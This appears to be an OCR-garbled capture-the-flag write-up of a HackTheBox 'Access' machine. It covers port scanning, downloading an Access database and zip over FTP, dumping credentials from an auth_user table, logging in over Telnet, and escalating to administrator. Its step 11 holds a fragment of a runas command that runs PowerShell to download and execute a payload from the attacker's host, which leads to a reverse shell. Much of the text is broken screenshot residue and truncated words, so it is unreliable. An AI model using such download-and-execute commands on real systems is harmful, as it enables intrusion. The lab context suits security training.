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HTB Dedicated Box 10 — Access

1. Nmap gives us FTP, Telnet, and HTTP.

-01 14:11 PDT

telnet
http

Nmap done: 1 IP address (1 host up) ned in 395.52
root@host:delta$ D

deltaBhost:~5 ftp 10

t toI.
ckup.mdb
ckup.mdb remote: backup.mdb

en; Transfer starting

4. Download a zip archive from the other directory.

f cd ../Enginee

arting
s Control.zip

ontrol.zip

sfer starting



5. Definitely an Access DB. mdbtools shows an interesting table: auth_user.

delta@host:~
id,username,p
25 dmin",

delta@host:-$ ||

p
deltaBhost:Access Control$

tion base_o|
S deptadmin D

_user

lelD,Remark

:13:36", 26,
.26,

class=MsoNorma
ur engine

min_are

ermitGrou
nEx TEMPL

[8/1946]

_type djang
dmin_dept L

Tmp ermitUsers
EEx




9. The new creds work over Telnet. Got the user flag.

MegaCorp X+

{/enterprise.hackthebox.com/dedicated-lab-p

Access
EASY

10.129.226.186
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Success!

Help Center

Target: Domain:interactiv ministrator
Type: Domain P
User: ACCES ministrator

curity>runas cred /user:ACC dministrator "powershell -c iex ect Net Webclient).dow /18.18 .14 41/file")




12. Reverse shell comes back. Root flag found.

& HTB Enterprise

O @ =6 o hitps

Access
EASY

10.129.226.233
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Success!
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